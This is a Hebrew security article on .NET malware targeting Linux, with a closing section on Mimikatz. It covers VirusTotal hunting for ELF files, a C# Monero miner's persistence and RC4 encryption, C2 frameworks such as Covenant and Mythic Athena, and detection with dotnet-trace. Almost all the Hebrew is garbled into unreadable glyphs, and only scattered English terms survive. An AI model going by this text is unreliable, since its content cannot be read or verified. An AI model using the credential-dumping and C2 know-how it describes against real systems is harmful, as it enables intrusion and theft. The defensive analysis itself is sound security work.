˧˸˧˴˶ ˸ˣ˞˶˪ ˫˞ˢ ˫˧ˬ˧˧˵ malwares ˧˯˯ˣ˟ˬ .NET ˯˵ˣˮ˧˪˪ in the wild Σˣ˪˧˲˞ˣ ˢˣˣ˵˸˟ ˞ˣ˴ˬ˪ ˷ˣˬ˧˷ 

ˢ˦˧˷˪ ˧˸ˮ˧˧˴˷ ˪˧˰˪ Φ˭˩˪ ˷˲˥˪ ˟-VirusTotal ˸˞ˤ ˢ˪˥˸ˢ ˢ˟ˣ˦Φ 

ˢ˶˦ˬˢ Υ˸˞˧˴ˬ .NET Assemblies ˫˧ˬ˞˸ˣˬ ˯˵ˣˮ˧˪˪ Σ˫˧ˢˣˤˬ˷ x˞ ˞˪ ˫˧ˢˣˤˬ ˩-malicious ˪˰ ˧ˡ˧  ˶˲˯ˬ

security vendors Φ 

ˣˮ˧˧˴ ˪˧˰˪ ˵˪˥˟ ˪˷ Ϧ˸ˣ˦˧˷ ˢ˴˶ˢ Ϧ˭˸˧ˮ˷ ˪˲ˬ˵˪ ˸˞ s-Assembly ˣˮ˪˷ ˩-ELF x˞ ˩-DLL Σ˭˩˪ˣ ˨˧˶˴ ˡˣ˴˪ 

˸˞ ˧˸˷ ˸ˣ˦˧˷ˢ ˫˰ queries ˫˧ˮˣ˷ Φ˷˲˥ˮ ELFs ˫˧˪˧˩ˬ˷ ˸˞ s-runtime ˪˷ .NET x˞ ˷˲˥ˮ˷ ˧˴˟˵ DLL 

˞˪˷ ˫˧˪˧˩ˬ ˸˞ s-Runtime Σ˪˟˞ ˫˧˪˧˩ˬ˷ strings ˫˧˧˪˧˪˲ˬ Σ˫˧ˡ˧˰ˬ˷ ˪˰ ˨˩ ˫ˢ˷ ˣˡ˰ˣˮ ˳ˣ˶˪ ˟-Linux Σ

ˢˬˠˣˡ˪ άκōƛƴκōŀǎƘέ ΣάǊƻƻǘέ ˣ˩ˣ Φ 

˧ˮ˞ ˨ˣ˯˥˞ ˸˴˵ ˭ˬˤ - ˢ˦˧˷˟ ˢ˧ˮ˷ˢ ˧˸ˮ˧˧˴˷ ˞˪ ˧˸˞˴ˬ ˫˧˶˟ˡ ˫˧ˮ˧˧ˮ˰ˬ Φ˶ˣ˟˰ˮ ˢ˦˧˷˪ ˢˮˣ˷˞˶ˢ Φ-s

VirusTotal query ˞˟ˢ ˷˲˥ˬ ˫˧˴˟˵ ˠˣ˯ˬ ELF Σ˫˧˪˧˩ˬ˷ ˸˞ s-string άƳǎŎƻǊέ ύ˪ˣˡˣˬˢ ˪˧˩ˬ˷ ˸˞ s-

runtime - mscoree Σό˶˸ˣ˧˷ˣ ˢ˷˧ˬ˥ˬ security vendors ˣˠ˧˧˸ ˣ˸ˣ˞ ˩-maliciousΥ 

ÔÙÐÅƙ%,& ÃÏÎÔÅÎÔƙƨÍÓÃÏÒƨ Ðƙʪ˩ 

-squery ˢˤˢ ˶˧ˤ˥ˢ ˶˲˯ˬ ˡˡˣ˟ ˪˷ ˸ˣ˞˴ˣ˸ Σ˭ˣ˩ˮ ˰ˠ˶˪ ˣ˟˷ ˧˸˰˴˧˟ ˣ˸ˣ˞Φ 

 
ϐˢ ˪˷ ˦˪˲-query ˟ ˪˧˰˪-VirusTotal Intelligenceˣ ˫˷ :˭˧ˬ˧˪ ˪˞ˬ˷ˬ ˸ˣˡˣˬ˰ˢ ˶ˡ˯ .-hash ˢˬ˩ ,security vendors ˩ ˳˟ˣ˵ˢ ˸˞ ˣˮˬ˧˯-

maliciousˢ˞˪˰ˢ ˨˧˶˞˸ ,˳˟ˣ˵ˢ ˪ˡˣˠ ,ώ 
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˸ˣ˪˩˸˯ˢˬ ˸˧ˮˣ˷˞˶ ˢ˞˶ˮ ˫˧˴˟˵ˢ˷ ˫˧˪ˣˡˠ ˸˧˯˥˧ Σˢˬ ˪ˣ˩˧˷ ˡ˧˰ˢ˪ ˪˰ ˨˩ ˫ˢ˷ ˣ˪˲ˬˣ˵ ˡ˥˧˟ ˫˰ s-

Runtime ˣ˞˴ˣ˧˧ˣ ˳˟ˣ˵˩ ˡˡˣ˟ Φˡˣ˰ ˶˟ˡ ˭˧˧ˮ˰ˬ ˞ˣˢ ˸˞˷ ˢ˸˪˧˞˷ˢ ˸˞ˤˢ ˧˸˧˷˰ ˧˪ˣ˧˟ нлнн Σ˶ˬˣ˪˩ ˭˸˧ˮ 

˸ˣ˞˶˪ ˸ˣ˞˪˰ˢ ˪˷ ˫˧˴˟˵ ύ˫˧ˡˣ˷˥ˢ ˩-malwares ό˷ˡˣ˥ˢˬ ˭ˣ˶˥˞ˢΦ 

˫˵˪˥ ˫˧ˢˣˤˬ ˧˪˩˩ ˢ˲˧˵˸ ˫˧˶˩ˣˬ ˣˬ˩ Merlin ΣSliver xπDonut Φ˫˪ˣ˩ ˡˣ˞ˬ ˫˧˶˩ˣˬ ˟˶˵˟ ˫˧˲˵ˣ˸ ˫˧ˡ˟ˣ˰˷ 

˪˰ ˸ˣ˩˶˰ˬ Windows Σ˵˶ ˫˰˲ˢ˷ ˫ˢ ˫˧˲ˣ˦˰ ˪-Linux ˩-ELFsΦ 

˧˶˥˞ ˧˸˶˟˰˷ ˪˰ ˸ˣ˞˴ˣ˸ˢ Σ˧˸˞˴ˬ Monero miner ˟ˣ˸˩˷ ˟-C# Φˣˤ ˞˪ ˢˤ˧˞ ˞˧ˢ˷ ˸˴˶˲ ˨˶ˡ Σ˭˩˷ 

miners ˪˪˩˩ xπMonero miners ˦˶˲˟ ˫ˢ ˡˣ˞ˬ ˫˧˴ˣ˲ˮ ˣˮ˶˰˴˪ Φ˵˪˥ˢ ˭˧˧ˮ˰ˬˢ ˞ˣˢ ˸ˣ˞˶˪ malware 

ˡ˰ˣˮ˷ ˪-Linux ˟ˣ˸˩ˢ ˟-C# Φˣˬ˧˷ ˟˪ ˢˬ˩˪ ˦˰ˬ Security vendors ˣˢ˧ˤ ˣ˸ˣ˞ ˧ˮˣˡˤ˩Υ 

 

˧ˮ˞ ˢ˞˶˞ ˫˩˪ ˢˬ˩ ˫˧˵˪˥ ˫˧ˮ˧˧ˮ˰ˬ ˣ˩ˣ˸ˬ Φ˳˪˥ˮ ˸˞ s-Assembly ˨ˣ˸ˬ s-ELFΥ 

 

ˣ˩ˣ˸˟ ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ s-PE magicΥ 

 

˶ˣˬ˷ˮ ˣ˸ˣ˞ ˩-DLL Σ˸ˣ˪˵˟ˣ ˪˩ˣˮ ˥˸ˮ˪ ˣ˸ˣ˞ ˪˰ ˧ˡ˧ ˢ˞˪˰ˢ ˣ˪˷ ˪-Dnspy Φ 
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ˢ˞˶˞ ˫˩˪ ˵˶ ˸˞ ˫˧˵˪˥ˢ ˫˧ˮ˧˧ˮ˰ˬˢ ˣ˩ˣ˸ˬΥ 

мΦ ˢ˧˴˵ˮˣ˲ ˸˷ˬ˷ˬˢ ˸ˮ˵˸ˢ˪ PersistencyΥ 

 

ˣˮ˥ˮ˞ ˫˧˞ˣ˶ ˭˞˩ ˭ˣ˧˯˧ˮ ˭˧˵˸ˢ˪ ˸˞ s-Miner ˩-logon script ˳˶˷ ˸˰˟ ˸˧˧˪˰ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ύˢ˟˧˸˩ 

˳˟ˣ˵˪ rc.local Σό˧ˢˣˤ ˸˦˧˷ ˸ˣˡ˧˶˷ ˢ˰ˣˡ˧ ˟-Linux Φ˧˧ˮ˧˰˟ ˸ˣ˞˶˪ ˸˦˧˷ Persistency ˪-Linux ˸˷ˬˣˬˬˢ 

-˟C# ˢˤ ˶˟ˡ ˡˣ˞ˬ ˶ˤˣˬ ˞˪ˣ ˧˪˞˧ˣˣ˧˶˦Φ 
 
 

нΦ ˢ˧˴˵ˮˣ˲ ˸˷ˬˬˬˢ ˸ˮ˲˴ˢ RC4Υ 

 

˟ˣ˷ ˞˪ ˶˟ˣˡˬ ˢ˵˧ˮ˩˦˟ ˸˧ˡˣ˥˧˧ Σ˪˟˞ ˢˤ ˶˟ˡˢ ˟ˣ˷˥ˢ - ˢ˧˴˵ˮˣ˲ˢ ˸˞ˤˢ ˞˧ˢ ˢ˧˴˵ˮˣ˲ ˞˪˷ ˸˷ˬ˸˷ˬ ˟-

APIs x˞ strings ˫˧˧˲˧˴˲˯ ˸ˣ˩˶˰ˬ˪ ˢ˪˰˲ˢ Σ˶ˬˣ˪˩ ˧ˬ ˟˸˩˷ ˢ˸ˣ˞ ˪˩ˣ˧ ˸˥˵˪ ˢ˸ˣ˞ ˪˩˪ ˦ˮ˞˧˶ˣ ˞ˣˢ˷ 

˶˥˟˧ Φ˶˷˲˞ ˡ˧ˠˢ˪ ˸˞ˤ˷ ˸˧˧˴˵ˮˣ˲ RC4 ˞˧ˢ˷ cross-platform Σˢˤˣ ˢˣˣˢˬ ˭ˣ˶˸˧ ˵ˤ˥ ˧˟˸ˣ˩˪ malwaresΦ 
 
 

 
 

 

оΦ ˢ˧˴˵ˮˣ˲ˢ ˸˧˞˶˥˞˷ ˸˴˶ˢ˪ s-MinerΥ 

 
  

https://attack.mitre.org/techniques/T1037/004/
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˭˸˧ˮ ˸ˣ˞˶˪ ˢ˷-Miner ˢ˷ˣ˰ decrypt ˡ˥˞˪ ˢˬ-resources ˣ˪˷ Φ˸˞ˤ ˢ˦˧˷ ˢ˟ˣˢ˞ ˢ˰ˣˡ˧ˣ ˪˰ ˧ˡ˧ ˫˧˲˵ˣ˸ 

˫˧˷ˬ˸˷ˬ˷ ˟-.NET ˫˧˴˪˥ˬ˷ ˸˞ s-payload ˢˬ-resources ˫ˢ˪˷ ˧ˡ˩ ˵ˣˬ˥˪ ˧ˣˢ˧ˤˬΦ 
 

ˢˬˠˣˡˢ ˸˞ˤˢ ˫ˮˬ˞ ˞˪ ˸˧ˮ˩˲ˢˬ; ˣˮ˧˞˶ ˭ˣˬˢ malwares ˫˧ˮˣ˷ ˫˧˰˴˟ˬ˷ ˢ˧˧˶˩ ˪˷ ˸ˣ˰˟˦ˬ ˫˧˧˪˞ˣ˦˶˧ˣ Σ

˫˧˷ˬ˸˷ˬ ˸ˣ˦˧˷˟ ˸ˣˡ˧˶˷ Σ˫˧˷ˬ˸˷ˬ˷ ˸ˣˮ˲˴ˢ˟ ˭ˢ˧ˮ˧ˬ˪ ˫˧˴˪˥ˬˣ ˸˞ s-Payload ˫ˢ˪˷ ˢˬ-

resourcesΦ ˱˯ˣˮ˟ Σ˸ˣ˵˧ˮ˩˦ˢ ˸ˣ˰ˣˡ˧ˢ ˸ˣ˟ˣˢ˞ˢˣ ˪˰ ˫˧˲˵ˣ˸ ˟-Windows ˸ˣ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˸ˣ˷ˬˣˬˬ ˦˰ˬ˩ 

ˣ˸ˣ˞˟ ˭˲ˣ˞ ˟-Windows Σ˞˪ˣ ˵˶ ˢˤ - ˳ˣ˥ ˢ˧˴˵ˮˣ˲ˢˬ ˧˸ˠ˴ˢ˷ ˱˧˰˯˟ ύм ό˞˧ˢ˷ ˸˧˲˧˴˲˯ ˯˵ˣˮ˧˪˪ Σ˶˞˷ 

˸ˣ˧˴˵ˮˣ˲ˢ ˟-malware ˢˤˢ ˣ˧ˢ cross-platform Φ˶ˬˣ˪˩ ˸ˣ˧˪˧˦˯˶ˣˣˢ ˸ˮ˸˧ˮ˷ ˫˧˲˵ˣ˸˪ ˢ˦˧˷˟ ˸˞ˤˢ ˞˧ˢ 

ˢˣˣˢˬ ˭ˣ˶˸˧ ˧˸ˣ˰ˬ˷ˬΦ 

 

˫˧˰ˣˡ˧ ˫˧˪˩ 

˫˧ˬ˧˧˵ ˢˬ˩ ˧˪˩ ˢ˲˧˵˸ ˫˧˟ˣ˸˩ˢ ˫˰ .NET ˫˧˪˴ˮˬˣ ˸˞ ˸ˣˮˣ˶˸˧ˢ ˫˧ˮˣ˷ˢ ˣ˪˷Φ 

˭ˣ˷˞˶ˢ Σˢˤˣ ˧˪˩ˢ ˫˶ˠ˷ ˧˪ ˟ˣ˸˩˪ ˸˞ ˶˵˥ˬˢ ˢˤˢ ˞ˣˢ Athena - ˸ˬ˶ˣ˲˦˪˲ C2 ˸˩ˬˣ˸ˢ ˟-Mythic Σ

ˢ˟ˣ˸˩˷ ˟-C# ˸˶˷˲˞ˬˣ ˢ˶˧˴˧ ˪˷ cross-platform implants ΦAthena ˸˶˷˲˞ˬ ˭ˣˬˢ ˸ˣ˪ˣ˩˧ Σ˭ˢ˧ˮ˧˟ˣ ˫ˠ 

ˢˮ˧˰˦ ˸˧ˬ˞ˮ˧ˡ ˪˷ Assembly ˵˥ˣ˶ˬ Φ˧˧ˮ˧˰˟ ˢˤ ˧˪˩ˢ ˪˴ˮˬ˷ ˭˲ˣ˞˟ ˧˩ˢ ˵˧ˣˡˬ ˸˞ ˸ˣˮˣ˶˸˧ˢ ˪˷ .NET 

ˢˬ˶ˣ˲˦˪˲˩ ˸˶˧˴˧˪ ˧˪˩ ˢ˲˧˵˸Φ 

˧˪˩ ˧˷ˣˬ˧˷ ˱˯ˣˮ ˞ˣˢ Covenant - ˸ˬ˶ˣ˲˦˪˲ C2 ˢ˟ˣ˸˩˷ ˟-C# Σˣˮ˶˰˴˪ˣ ύx˞ ˣˮ˸˥ˬ˷˪ ό˸˶˷˲˞ˬ ˸ˣ˪ˣ˩˧ 

cross-platform ˵˶ ˡ˴˟ ˸˶˷ˢ ˞˪ˣ ˡ˴˟ ˥ˣ˵˪ˢ Φ˶ˬˣ˪˩ s-implants ˫ˢ ˫˧˧˲˧˴˲˯ ˪-Windows Σˡ˴ˣ ˸˶˷ˢ 

˞ˣˢ ˫˧˞˸ˬ ˪˩˪ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢˢΦ 

˭ˣ˶˥˞ˢ ˞ˣˢ Coresploit - ˸ˬ˶ˣ˲˦˪˲ exploitation-post Σ˸˵˲˯ˬ˷ ˶˲˯ˬ plugins ˫˧˪ˣ˩˧˷ ˸ˣ˧ˢ˪ 

˫˧˷ˬˣ˷ˬ ˪˰ ˧ˡ˧ implants ˧˯˯ˣ˟ˬ .NET 

 

˧ˣˢ˧ˤ 

˶ˬ˞ˬˢ ˞˪ ˢ˧ˢ˧ ˫˪˷ ˫˞ ˵˶ ˠ˧˴ˮ ˸˪ˣ˩˧ ˢ˲˧˵˸ ˫˰ ˪˩ ˢ˧˸ˣˮˣ˶˸˧ Σ˧˪˟ˬ ˠ˧˴ˢ˪ ˸˪ˣ˩˧ ˧ˣˢ˧ˤ Φ˸ˣ˵˧ˮ˩˦ ˧ˣˢ˧ˤ 

-˟Windows ˸ˣ˯˯ˣ˟ˬ ˪˰ ETW xπAMSI Σˢˤ˷ ˢ˷˰ˬ˪ ˴˧˲ϥ˶ ˠ˴ˣˢ˷ ˵ˣ˧ˡ˟ ˸ˣ˶˦ˬ˪ ˢ˪˞ˢ - ˵˲˯˪ ˸ˣ˶˟˥˪ 

ˡ˴ ˧˷˧˪˷ ˸˪ˣ˩˧ ˧ˣˢ˧ˤ ˸ˣ˲˵˸ˬ Filess ˥ˣ˸˧ˮˣ ˪˷ ˫˸ˣ˞ ˫˧˦˲˧˶˵˯Φ  

˧˶˵ˣ˥ Linux ˞˪ ˣ˶˞˷ˮ ˫˰ ˫˧˧ˡ˧ ˸ˣ˵˧˶ Σ˭˩˷ s-Runtime ˪˧˩ˬ ˟˧˩˶ ˫˷˟ ά9ǾŜƴǘtƛǇŜέ ˡ˰ˣˮ˷ ˵˲˯˪ ˸˞ 

ˢ˶˦ˬˢ ˪˷ ETW ˸ˣ˩˶˰ˬ˪ ˢ˪˰˲ˢ ˭ˢ˷ ˞˪ Windows ΦMicrosoft ˢˬ˴˰˟ ˸˵˲˯ˬ ˫˧˪˩ ˥ˣ˸˧ˮ˪ x-tracing 

˪˷ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˷˥˶˸ˬ˷ ˟-runtime Φ 

https://github.com/MythicAgents/Athena
https://github.com/its-a-feature/Mythic
https://github.com/cobbr/Covenant
https://github.com/checkymander/CoreSploit
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˧˲˪ MSDN Σ˰ˡ˧ˬ ˪˰ ˸ˮ˧˰˦ Assembly ˢ˪ˣ˩˧ ˪˟˵˸ˢ˪ ˪˰ ˧ˡ˧ s-provider Υ-Windows-Microsoft

DotNETRuntime Σ˫ˠˣ ˫ˢ ˫˧˵˲˯ˬ ˣˮ˪ ˧˪˩ ˫˷˟ trace-Dotnet ˶˷˲˞ˬ˷ ˸ˣ˵˥˸ˢ˪ ˧˶˥˞ ˫˧˰ˣ˶˧˞ˢ 

ˢ˪˞ˢ Φ˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˭ˣ˧ˬˡˢ ˭ˣˮˠˮˬ˪ s-ETW ˣˮ˥ˮ˞˷ ˫˧˶˧˩ˬ ˬ-WindowsΦ 

˰ˬ˷ˮ ˥˧˦˟ˬ Φˣ˞ˣ˟ ˢ˯ˮˮ ˳˧˶ˢ˪ ˸˞ ˧˪˩ˢ ˪˰ s-POC ˣˮ˪˷ ˰˴˟ˬ˷ ˢˮ˧˰˦ ˪˷ DLL ˵˥ˣ˶ˬΥ 

dotnet - trace collect -  providers Microsoft - Windows- DotNETRuntime:4 -  format speedscope -  
./remoteInjection  

˦˪˲ˢ ˞ˣˢ ˳˟ˣ˵ ˠˣ˯ˬ Ϧ.nettrace ΣϦ˧˲˪ˣ ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˸˧ˬ˷˶ˢ Σ˭˸˧ˮ ˥˸ˮ˪ ˣ˸ˣ˞ ˫˰ ˧˪˩ˢ Perfview ˪˰ ˧ˡ˧ 

ˣ˸˶˟˰ˢ ˸ˮˣ˩ˬ˪ Windows Φˢ˷˰ˮ ˸˞ ˢˤ Σˢˤˣ ˦˪˲ˢ ˪˟˵ˮ˷: 

 

ˣˬ˧˷ ˟˪ ˫ˣˡ˞˟ ˣ˪˞˷ ˫˧˰ˣ˶˧˞ˢ ˣˮ˞˷ ˫˧˷˲˥ˬ - ˫˧˰ˣ˶˧˞ ˪˷ AssemblyLoad ˣ˰˴ˣ˟˷ ˪˰ ˧ˡ˧ ˸˧ˮ˩ˣ˸ˢ ˣˮ˪˷Φ 

˪˩˸˯ˮ ˟ˣ˶˵ˬ ˪˰ ˫˧˰ˣ˶˧˞ˢ Σ˪˩ˣˮˣ ˸ˣ˞˶˪ ˸˞ ˢˮ˧˰˦ˢ ˪˷ MalDLLΗ 

 

˨˶˰ˢ PublicKeyToken=null ˡ˧˰ˬ ˪˰ ˨˩ ˢ˷-Assembly ˭˰˦ˮ˷ ˞˪ ˢ˧ˢ ˫ˣ˸˥ Φ˸˞ˤ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ 

ˢ˧˴˵˧ˡˮ˧˞ ˢ˵ˤ˥ ˨˩˪ ˢ˰˴ˣ˟˷ ˢˮ˧˰˦ ˪˷ DLL ˧ˮˣˡˤΦ 

 

https://learn.microsoft.com/en-us/dotnet/core/dependency-loading/collect-details
https://learn.microsoft.com/en-us/dotnet/core/dependency-loading/collect-details
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˫ˣ˩˧˯ 

.NET for Linux ˢˤ ˞˪ ˭ˣ˶ˣˬ˧˯˵ˣ˞ ˶˸ˣ˧ Φˣˮ˥ˮ˞ ˫˧˞ˣ˶ ˷ˣˬ˧˷ ˪˷ ˸ˣ˵˧ˮ˩˦ˢ ˢ˪˞ˢ ˥˦˷˟ Σ˷˧ˣ ˭˸ˣ˞˪ 

˸ˣ˵˧ˮ˩˦ ˸ˣˮˣ˶˸˧ ˫˧˟ˣ˶ˬ ˫˧˲˵ˣ˸˪ Φ˭˩˸˧˧ ˣ˪˧˲˞˷ ˰ˠ˶˟ ˢˤ malwares ˧˯˯ˣ˟ˬ .NET ˫˧˷ˬˣ˷ˬ ˥˦˷˟ - 

˸ˣ˧ˣ˶˷˲˞ˢ ˭s ˭˧˞ ˸ˣ˧˲ˣ˯ Φ˶˟ˡˢ ˪ˣ˩˧ ˥ˣ˸˲˪ ˫˧˲˵ˣ˸˪ ˫˪ˣ˰ ˷ˡ˥ Σ˪˷ ˸˶˧˴˧ Cross-platform malwares Σ

˫ˢ˷ ˫ˠ ˫˧˦˵˷ Σ˫ˠˣ ˫˧˷˵ ˢ˶˧˵˥˪ ˭˩˷ s-payload ˪ˣ˩˧ ˰˧ˠˢ˪ ˭˲ˣ˞˟ ˧ˬ˞ˮ˧ˡ Φ 

 

˸˟˸ˣ˩ˢ ˪˰ 

˶ˣ˞˧˪ ˢ˥˧˸˲ Σ˸˶˵ˣ˥ ˢ˥˦˟˞ Σ˫˰ ˭ˣ˧˯˧ˮ ˶˵˥ˬ˟ ˸ˣˬ˪ˣ˰˟ ˢ˥˦˟˞ˢ ˪˪ˣ˩ ˸˶˧˵˥ malwares ˢ˵˧ˤˮ˶ˣ˲ˣ Φ

˶ˬ˞ˬˢ ˢˤˢ ˞˪ ˢ˧ˢ ˪ˣ˩˧ ˸ˣ˶˵˪ ˧˪˟ ˢ˶ˤ˰ ˸ˣˠ˪ˣ˵ˬ ˸ˣ˶˵˧ ˧˪˷ Σ˪˩˟˷ ˫˰˲ ˣ˶˟˰˷ ˪˰ ˶ˬ˞ˬˢ ˣ˥˪˷ ˧˸ˣ˞ 

˞ˣ˶˵˪ ˵˧ˬ˰ˢ˪ˣ ˫˧ˬˣ˥˸˟ ˫˧ˮˣ˷ ˫˧ˮˣˣˠˬˣ Φ˷˧ ˞˪ ˦˰ˬ ˢ˪˞˩ ˭˩˪ˣ ˧ˮ˞ ˞˪ ˦˶˲˞ π ˸˞ˤ ˸ˣˮˬˡˤˢ ˸ˣˡˣˢ˪ 

˫˩˪Φ 

˨˪ˢˬ˟ ˶ˬ˞ˬˢ ˧˸˲˯ˣˢ ˫˧˵ˮ˧˪ ˸ˣˬˣ˵ˬ˪ ˧˸˩ˬ˸˯ˢ˷ ˫ˢ˧˪˰ Σ˶˵˧˰˟ ˧˸ˡ˟˰ ˪ˣˬ s-MSDN ˫ˠˣ ˶˵˧˰˟ 

ˢ˟˶ˢ ˢˡˣ˟˰ ˸˧ˬ˴˰ ˥ˣ˸˧ˮˣ ˪˷ ˫˧˧ˣˮ˧˷ˢ ˟-endpointΦ 

˪˩˪ ˢ˪˞˷ ˢ˶˰ˢ x˞ ˢ˶˞ˢ ˣ˷˧ˠ˶˸ ˧˷˲ˣ˥Υ 

liorf077@gmail.com 

:˞˟ˢ ˶ˣ˷˧˵˟ ,˸˧˪ˠˮ˞˟ ˫ˠ ˭˧ˬˤ ˶ˬ˞ˬˢ 

https://medium.com/@liorfatiha/net-attacks-are-not-only-windows-problem-anymore-

5813bf6356eb 

 

 
  

mailto:liorf077@gmail.com
https://medium.com/@liorfatiha/net-attacks-are-not-only-windows-problem-anymore-5813bf6356eb
https://medium.com/@liorfatiha/net-attacks-are-not-only-windows-problem-anymore-5813bf6356eb
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 "˶˧˴˵ˢ ˸˧˷˞˶ ˸˰"-  ˸˶˧˴˵ˣ ˭ˣ˶˩˧ˤ ˸ˣ˲˧˵˸ ˪˰

ˣ˞ˬ˯˧˯ ˸

˟ˣ˪˞ˣˬ˯ ˧˞˪˧˰ ˸˞ˬ 

 

 

ˢˬˡ˵ˢ 

˧ˮ˲˪ ˳ˣ˲˵ˮ˷ ˢˬ˧ˮ˲ Σ˞˵ˣˣˡ ˢ˴˶˞ ˪˧˥˸ˢ˪ ˢ˧˴˟˧˦ˣˬ˟ ˸˟˧˸˩˪ ˶ˬ˞ˬˢ Φ˭ˣ˧˰˶ˢ ˧˶ˣ˥˞ˬ ˶ˬ˞ˬˢ ˡ˪ˣˮ ˨ˣ˸ˬ 

˭ˣ˴˶ ˭˧˟ˢ˪ ˡ˴˧˩ ˪˰ˣ˲ ˡ˥˞ ˧˪˩ˬ sπExploitationPost  ˫˧˩˶˰ˣˬˢ ˫˧˵ˤ˥ˢˣ ˶˸ˣ˧˟πMimikatz Σ˶ˣ˸˟ˣ ˳˧˶˰ˬ 

˰˟˷ˣˬ ˪˷ @gentilkiwi ˧˸˷ˠ˶ˢ ˢˤ˷ ˡ˰˴ ˧˥˶˩ˢ. ˧ˬ˪ ˫˩ˬ ˞˪˷ ˶˧˩ˬ ˸˞πMimikatz  Σˣˢˤ ˧˪˩ ˵ˤ˥ ˶˸ˣ˧˟ 

ˠˣ˯ˬ Post Exploitation Σ˶ˬˣ˪˩ Σˣˮ˞ ˷ˬ˸˷ˮ x˟ ˶˥˞˪ ˣˮˬ˷˷ ˸˞ ˣˮ˧ˡ˧ ˪˰ ˶˧˷˩ˬ ˢ˴˵ˢ ˣˮ˴˶˲˷ ˢ˴˶ˮˣ 

˪˧˴˞ˢ˪ ˸ˣ˧ˣ˩ˬ˯ xˡˣˡˮ˪ ˭˧˟ ˫˧˷ˬ˸˷ˬ ˫˧ˮˣ˷ ˟˷˥ˬ˟ x˞ ˸˩˶˰ˬ˟ ΦMimikatz ˰ˡˣ˧ ˱ˣ˪˷˪ credentials 

˸ˣ˶˧˷˧ ˭ˣ˶˩˧ˤˬ ˟˷˥ˬˢ ˷ˬ˸˷ˢ˪ˣ ˫ˢ˟ ˧˩˶ˣ˴˪ ˸˪˴˞ˢ ˸ˣ˧ˣ˩ˬ˯ ˢ˷˧ˠˣ ˫˧˷ˬ˸˷ˬ˪ ˫˧˶˥˞ ˸˩˶˰ˬ˟ Φ˧ˬ 

˫˩ˬ ˭˶˵˯˷ ˸˰ˡ˪ ˡ˴˧˩ ˶˟ˡˢ ˢ˷˰ˮ ˡ˰ ˧ˡ˩˪ ˢ˟˧˸˩ ˪˷ ˧˪˩ ˰˴˟ˬ˷ ˸˞ˤ Σ˳˧˪ˬ˞ ˫ˣ˥˟ ˣ˩˧˷ˬ˸˷ ˡ˰ ˱ˣ˯˪ 

˶ˬ˞ˬˢ J Φ 

˧ˮ˞ ˡˡˣ˰ˬ ˸˞ ˫˧ˮ˶˵˯ˢ ˭˧˞˷ ˫ˢ˪ ˸ˣ˶˩˧ˢ ˫˰ ˧˪˩ˢ ˡ˧˶ˣˢ˪ ˸ˣ˯ˮ˸ˢ˪ˣ ˣ˸˧˞ ˧ˮ˲˪ ˸˞˧˶˵ ˶ˬ˞ˬˢΦ 

˶ˬ˞ˬˢ ˵˪ˣ˥ˬ ˧ˮ˷˪ ˫˧˵˪˥ Σ˵˪˥ ˧˦˶ˣ˞˧˸ ˣ˧˶˥˞˪ˣ ˵˪˥ ˧˦˵˶˲ Φˣ˵˪˥˟ ˧˦˶ˣ˞˧˸ˢ ˪˷ ˶ˬ˞ˬ ˢˤ Σ˶ˣ˵˯ˮ ˸˞ 

˧˟˪˷ s˧˴˵˧˦ˮ˸ˣ˞ ˟sπWindows ˨ˣ˸ ˶˵˥ˬ ˵˧ˬ˰ˬ ˸ˣˡˣ˞ ˧˶ˣ˥˞ˬ ˫˧˰˪˵ˢ ˪˷ ˨˧˪ˢ˸ ˸˷˵ˢ ˞ˬ˯˧˯ˢ 

˸ˣ˶˟˥˸ˢˢˣ Σ˵˧ˬ˰ˮ ˣ˧ˡ˧˵˲˸˟ ˫˧ˮˣ˷ˢ ˪˷ ˸ˣ˶˧˷ˢLSASS  ˧ˬˣ ˫ˢ ˫˧˩˧˪ˢ˸ˢ ˫˧˸ˣ˶˧˷ˢˣ ˫˸˧˞ ˞ˣˢ ˶˷˵˸ˬ 

˧ˡ˩˟ ˸ˬ˞˪ ˡˬ˪ˮˣ ˭˩˧ˢ ˨˧˞ˣ ˫˧˶ˬ˷ˮ ˧˦˶˲ ˸ˣ˶˟˥˸ˢˢ ˣˮ˪˷ ˭˲ˣ˞˟ ˧˦˦˯ ˪˰ ˟˷˥ˬˢ Φ˱˯ˣˮ˟ ˰ˠ˧ˮ ˭˲˟ 

˧˸˷˶ˢ ˪˷ ˞˷ˣˮˢ ˡˬ˪ˮˣ ˡ˴˧˩ ˸˰˴˟˸ˬ ˣ˞ˢ˸ˮ˦ˢ˧˴˵˧ ˶˷˞˩ ˣˮ˞ ˫˧˶˟˥˸ˬ ˨˶ˡ ˸˷˶ˢ ˢˬˣ ˫ˢ ˧˪ˣ˵ˣ˦ˣ˶˲ 

˸ˣˬ˧˞ˢ ˫˧˧˦ˮˣˣ˪˶ˢ Φ 

ˣ˵˪˥˟ ˧˦˵˶˲ˢ ˪˷ ˶ˬ˞ˬˢ Σ˶˥˞˪ ˶ˣ˟˴ˮ˷ ˸˞ ˰ˡ˧ˢ ˧˦ˮˣˣ˪˶ˢ ˫˷˧˧ˮ ˣ˸ˣ˞ ˧ˡ˩˪ ˵˪˥ ˧˦˵˶˲ ˪ˣ˪˩˧˷ ˶˵˥ˬ 

LowLevelπ˧ ˵˧ˬ˰ˬ ˸˶ˤ˰˟ ˟˦˧ˬ ˧˪˩ ˶˵˥ˬˢ ˣ˧˶˥˞˪ˣ ˫˧˧˯ˮ ˢ˟˧˸˩˟ ˸˩˶ˡˣˬ ˪˷ ˧ˮ˷ ˫˧˪˩ ˫˧˪ˠˣ˯ˬˢ 

˱ˣ˪˷˪ ˸˞ sπCredentials ˧˸˷˟ ˸ˣ˷˧ˠ ˸ˣˮˣ˷ ˸ˣˮ˧˧ˮ˰ˬˣ ˫˸ˣ˞ ˣ˪˩ˣ˸ ˱˧˯ˣˢ˪ ˪ˮ˯˶˞˪ ˫˧˪˩ˢ ˫˩˪˷Φ 

 

https://github.com/gentilkiwi/mimikatz
https://github.com/gentilkiwi
https://www.liquidweb.com/kb/how-to-install-and-use-mimikatz/
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ˤ˞ ˬ sˢˤ ˪˪˩˟ ˟ˣ˟˧ˠΚ 

